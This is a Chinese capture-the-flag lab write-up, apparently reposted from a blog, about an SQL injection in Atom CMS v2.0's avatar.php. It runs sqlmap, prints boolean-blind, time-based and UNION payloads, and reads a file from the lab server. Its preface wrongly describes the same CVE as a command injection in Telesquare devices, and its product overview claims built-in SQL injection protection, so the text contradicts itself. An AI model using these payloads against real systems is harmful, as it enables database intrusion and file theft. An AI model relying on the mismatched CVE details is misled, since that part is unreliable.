您的位置:首页 > 娱乐 > 八卦 > Atom CMS v2.0 SQL 注入漏洞(CVE-2022-25488)

Atom CMS v2.0 SQL 注入漏洞(CVE-2022-25488)

2024/12/23 7:35:26 来源:https://blog.csdn.net/2302_82189125/article/details/140085719  浏览:    关键词:Atom CMS v2.0 SQL 注入漏洞(CVE-2022-25488)

前言

CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入漏洞。这一漏洞可以被未经认证的远程攻击者利用,通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该漏洞的详细信息:

漏洞详细信息

  • 漏洞编号: CVE-2022-25488
  • 影响范围: Telesquare SDT-CW3B1 设备的特定版本
  • 描述: 该漏洞是由于输入处理不当造成的,攻击者可以通过在 HTTP 请求中注入恶意命令来利用这一漏洞。这些命令将在设备的操作系统中执行,可能导致设备完全被攻击者控制。
  • 攻击向量: 远程,未经认证的攻击者可以通过网络利用此漏洞。

攻击步骤

  1. 发送恶意 HTTP 请求: 攻击者构造一个特定的 HTTP 请求,包含恶意命令。
  2. 命令注入: 由于设备在处理请求时未正确验证输入,恶意命令被注入并在设备上执行。
  3. 控制设备: 成功利用漏洞后,攻击者可以在设备上执行任意命令,可能导致数据泄露、设备中断或进一步的网络攻击。

影响

  • 机密性: 高。攻击者可以访问和泄露设备上的敏感数据。
  • 完整性: 高。攻击者可以修改或破坏设备上的数据。
  • 可用性: 高。攻击者可以使设备无法正常工作。

缓解措施

  1. 固件更新: 制造商发布补丁或固件更新以修复此漏洞。用户应及时更新设备固件。
  2. 网络安全措施: 在网络边界实施防火墙和入侵检测系统,监控和阻止可疑的网络流量。
  3. 输入验证: 开发人员应确保在处理用户输入时进行严格的验证和过滤,防止命令注入攻击。
  4. 最小权限原则: 设备应配置为仅允许必要的权限,减少被利用的风险。

总结

CVE-2022-25488 是一个严重的命令注入漏洞,攻击者可以通过网络远程利用该漏洞,在受影响的 Telesquare SDT-CW3B1 设备上执行任意命令。用户应尽快采取措施,更新设备固件并实施必要的安全防护措施,以防止潜在的攻击。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。

教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。

竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。

资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Atom CMS v2.0 是一款内容管理系统,用于创建和管理网站内容。以下是关于 Atom CMS v2.0 的详细介绍:

概述

Atom CMS v2.0 是一个开源的内容管理系统,采用 PHP 和 MySQL 构建,旨在提供一个简单易用的平台,用于网站内容的创建、编辑和管理。该系统主要面向小型网站和博客,提供了丰富的功能以满足基本的内容管理需求。

主要功能

  1. 用户管理

    • 支持用户注册和登录。
    • 角色和权限管理,区分管理员和普通用户。
    • 用户资料编辑和密码管理。
  2. 文章管理

    • 创建、编辑和删除文章。
    • 支持文章分类和标签。
    • 支持富文本编辑器,便于格式化内容。
  3. 媒体管理

    • 上传和管理图片、视频等多媒体文件。
    • 支持媒体文件的插入和删除。
  4. 评论系统

    • 用户可以对文章进行评论。
    • 管理员可以审核和删除不当评论。
  5. SEO 优化

    • 自定义文章的标题、描述和关键词。
    • 自动生成友好的 URL。
  6. 主题和插件

    • 支持自定义主题,用户可以根据需要更改网站的外观。
    • 支持插件扩展功能,增加系统的灵活性。

安全特性

  • 输入验证:对用户输入进行严格验证,防止 SQL 注入和跨站脚本攻击(XSS)。
  • 密码加密:用户密码采用加密存储,提高账户安全性。
  • 权限控制:细粒度的权限控制,确保用户只能访问授权的资源。

使用场景

  • 个人博客:适合个人博客的创建和管理,提供基本的文章发布和评论功能。
  • 小型企业网站:适合小型企业展示产品和服务,提供简单的内容管理功能。
  • 教育网站:适合教育机构发布课程信息和新闻公告。

安装和配置

  1. 下载源码:从官方网站或 GitHub 下载最新版本的 Atom CMS v2.0 源码。
  2. 环境配置:确保服务器环境支持 PHP 和 MySQL,推荐使用 Apache 或 Nginx 服务器。
  3. 数据库配置:创建 MySQL 数据库,并导入初始数据表。
  4. 配置文件:修改配置文件,设置数据库连接信息和基本站点信息。
  5. 安装向导:通过浏览器访问安装向导,完成系统安装。

漏洞复现

打开靶场

直接访问则是 404

跟上题目的路径查看却是空白

删除 avatar.php 文件发现能看到整个目录 

查看其他文件得到报错信息

得到一个参数 id,使用 SQLMap 跟上试试

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"_____H_____ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:34:46 /2024-06-30/[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:35:05 /2024-06-30/

很好,接下来就是熟悉的找 flag 了

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"_____H_____ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:39:30 /2024-06-30/[20:39:30] [INFO] resuming back-end DBMS 'mysql' 
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:39:32 /2024-06-30/┌──(root㉿kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}          

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com